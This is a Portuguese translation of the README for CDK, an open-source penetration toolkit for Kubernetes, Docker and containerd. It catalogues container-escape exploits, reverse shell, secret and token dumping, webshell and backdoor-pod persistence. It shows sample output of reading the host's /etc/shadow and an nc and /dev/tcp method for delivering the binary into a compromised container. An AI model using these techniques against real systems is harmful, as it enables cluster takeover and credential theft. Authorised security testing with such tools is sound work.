
📦 Torne mais fácil os testes de segurança de K8s, Docker e Containerd.
Inglês | 简体中文

O uso do CDK para atacar alvos sem consentimento mútuo prévio é ilegal. O CDK é apenas para fins de teste de segurança.
O CDK é um kit de ferramentas de penetração em contêineres de código aberto, projetado para oferecer exploração estável em diferentes contêineres reduzidos sem qualquer dependência de SO. Ele vem com ferramentas de rede úteis e muitos PoCs/EXPs poderosos e ajuda a escapar do contêiner e assumir o controle do cluster K8s facilmente.
Execute cdk eva para obter informações de avaliação e um exploit recomendado, depois execute cdk run para iniciar o ataque.
> ./cdk eva --full
[*] Talvez você possa explorar as *Capabilities* abaixo:
[!] CAP_DAC_READ_SEARCH ativada. Você pode ler arquivos do host. Use 'cdk run cap-dac-read-search' ... para exploração.
[!] CAP_SYS_MODULE ativada. Você pode escapar do contêiner carregando módulo do kernel. Mais informações em https://xcellerator.github.io/posts/docker_escape/.
Crítico - CAP_SYS_ADMIN encontrada. Tente 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Crítico - Possível Contêiner Privilegiado Encontrado.
> ./cdk run cap-dac-read-search
Executando com alvo: /etc/shadow, referência: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Baixe o último lançamento em https://github.com/cdk-team/CDK/releases/
Coloque os arquivos executáveis no contêiner alvo e comece os testes.
Se você tem um exploit que pode enviar um arquivo, então você pode enviar o binário CDK diretamente.
Se você tem um exploit RCE, mas o contêiner alvo não possui curl ou wget, você pode usar o seguinte método para entregar o CDK:
(no seu host)
nc -lvp 999 < cdk
cat < /dev/tcp/(seu_ip_host_público)/(porta) > cdk
chmod a+x cdk
Uso:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Avaliar:
cdk evaluate Coletar informações para encontrar fraquezas dentro do contêiner.
cdk evaluate --full Ativar varredura de arquivos durante a coleta de informações.
Exploit:
cdk run --list Listar todos os exploits disponíveis.
cdk run <exploit> [<args>...] Executar um único exploit, docs em https://github.com/cdk-team/CDK/wiki
Ferramenta:
vi <file> Editar arquivos no contêiner como o comando "vi".
ps Mostrar informações de processos como o comando "ps -ef".
nc [options] Criar túnel TCP.
ifconfig Mostrar informações de rede.
kcurl <path> (get|post) <uri> <data> Fazer requisição ao api-server K8s.
ectl <endpoint> get <key> Enumeração não autorizada de chaves ectd.
ucurl (get|post) <socket> <uri> <data> Fazer requisição ao socket unix do Docker.
probe <ip> <port> <parallel> <timeout-ms> Varredura de porta TCP, exemplo: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Opções:
-h --help Mostrar esta mensagem de ajuda.
-v --version Mostrar versão.
--profile=<nome> Selecionar perfil de avaliação.
O CDK tem três módulos:
Uso
cdk evaluate [--full]
Listar todos os exploits disponíveis:
cdk run --list
Executar exploit específico:
cdk run <nome-do-script> [opções]
Nota sobre Thin: O lançamento thin é preparado para shells de contêiner de vida curta, como funções serverless. Adicionamos tags de build no código fonte e cortamos alguns exploits para tornar o binário mais leve. O arquivo de 2MB contém 90% das funções do CDK; você também pode pegar exploits úteis no código fonte do CDK para construir seu próprio binário leve.
Executar comandos como no Linux, um pouco diferente nos argumentos de entrada, veja o link de uso.
cdk nc [options]
cdk ps
Se você quiser saber como lançamos uma nova versão, como o thin é produzido, por que fornecemos versões upx, quais as diferenças entre as diferentes versões sobre all, normal, thin, upx, e como escolher exploits e ferramentas específicas do CDK para compilar um lançamento próprio para você, por favor verifique o Documento de Lançamento.
Primeiramente, obrigado por dedicar seu tempo para contribuir!
Agradecimentos aos seguintes contribuidores:
Mais contribuidores: Lista de Contribuidores
Bugs são rastreados como GitHub Issues. Crie uma issue com a versão atual do CDK, mensagem de erro e o ambiente. Descreva os passos exatos que reproduzem o problema.
Sugestões de melhorias são rastreadas como GitHub Discussions. Você pode publicar qualquer pensamento aqui para discutir diretamente com os desenvolvedores.
Corrija problemas ou mantenha a qualidade do CDK:
Nova funcionalidade ou exploits:

O Projeto CDK agora está incluído no Starlink Project 2.0 da 404Team. Junte-se à comunidade StarLink para entrar em contato com a equipe de desenvolvimento do CDK.
| Tática | Script | Suportado | Uso/Exemplo |
|---|
| Coleta de Informações | Informações Básicas do SO | ✔ | link |
| Coleta de Informações | Capabilities Disponíveis | ✔ | link |
| Coleta de Informações | Comandos Linux Disponíveis | ✔ | link |
| Coleta de Informações | Montagens | ✔ | link |
| Coleta de Informações | Namespace de Rede | ✔ | link |
| Coleta de Informações | ENV Sensíveis | ✔ | link |
| Coleta de Informações | Processos Sensíveis | ✔ | link |
| Coleta de Informações | Arquivos Locais Sensíveis | ✔ | link |
| Coleta de Informações | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| Coleta de Informações | Descoberta de Serviços Baseada em DNS | ✔ | link |
| Descoberta | Informações do Api-server K8s | ✔ | link |
| Descoberta | Informações da Service-account K8s | ✔ | link |
| Descoberta | API de Metadados do Provedor de Nuvem | ✔ | link |
| Tática | Técnica | Nome do Exploit CDK | Suportado | Em Thin | Doc |
|---|
| Escapamento | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| Escapamento | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link | |
| Escapamento | docker.sock PoC (ataque DIND) | docker-sock-check | ✔ | ✔ | link |
| Escapamento | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | link |
| Escapamento | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | link |
| Escapamento | Escapamento por Montagem de Dispositivo | mount-disk | ✔ | ✔ | link |
| Escapamento | Escapamento LXCFS | lxcfs-rw | ✔ | ✔ | link |
| Escapamento | Escapamento Cgroups | mount-cgroup | ✔ | ✔ | link |
| Escapamento | Abusar do Namespace de Usuário Não Privilegiado para Escapar CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | link |
| Escapamento | Escapamento Procfs | mount-procfs | ✔ | ✔ | link |
| Escapamento | Escapamento Ptrace PoC | check-ptrace | ✔ | ✔ | link |
| Escapamento | Reescrever Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | link |
| Escapamento | Ler arquivo arbitrário do sistema host (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | link |
| Descoberta | Sonda de Componentes K8s | service-probe | ✔ | ✔ | link |
| Descoberta | Despejar Meta do Sidecar Istio | istio-check | ✔ | ✔ | link |
| Descoberta | Despejar Políticas de Segurança de Pod K8s | k8s-psp-dump | ✔ | link | |
| Controle Remoto | Reverse Shell | reverse-shell | ✔ | ✔ | link |
| Controle Remoto | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| Acesso a Credenciais | Força Bruta em Registry | registry-brute | ✔ | ✔ | link |
| Acesso a Credenciais | Varredura de Chaves de Acesso | ak-leakage | ✔ | ✔ | link |
| Acesso a Credenciais | Obter Token K8s do Etcd | etcd-get-k8s-token | ✔ | ✔ | |
| Acesso a Credenciais | Despejar Secrets do K8s | k8s-secret-dump | ✔ | ✔ | link |
| Acesso a Credenciais | Despejar Config do K8s | k8s-configmap-dump | ✔ | ✔ | link |
| Escalação de Privilégio | Bypass de RBAC K8s | k8s-get-sa-token | ✔ | ✔ | link |
| Escalação de Privilégio | CVE-2026-31431 copy-fail (non-root→root & x86_64 only) | copy-fail-cve-2026-31431 | ✔ | link | |
| Persistência | Implantar WebShell | webshell-deploy | ✔ | ✔ | link |
| Persistência | Implantar Pod Backdoor | k8s-backdoor-daemonset | ✔ | ✔ | link |
| Persistência | Implantar api-server K8s Sombra | k8s-shadow-apiserver | ✔ | link | |
| Persistência | Ataque MITM K8s (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | link |
| Persistência | Implantar CronJob K8s | k8s-cronjob | ✔ | ✔ | link |
| Comando | Descrição | Suportado | Uso/Exemplo |
|---|
| nc | Túnel TCP | ✔ | link |
| ps | Informações de Processo | ✔ | link |
| netstat | Como o comando "netstat -antup" | ✔ | |
| ifconfig | Informações de Rede | ✔ | link |
| vi | Editar Arquivos | ✔ | link |
| ectl | Enumeração não autorizada de chaves ectd | ✔ | |
| kcurl | Requisição ao api-server K8s | ✔ | link |
| dcurl | Requisição à API HTTP do Docker | ✔ | link |
| ucurl | Requisição ao Socket Unix do Docker | ✔ | link |
| rcurl | Requisição à API do Registry Docker | ||
| probe | Varredura IP/Porta | ✔ | link |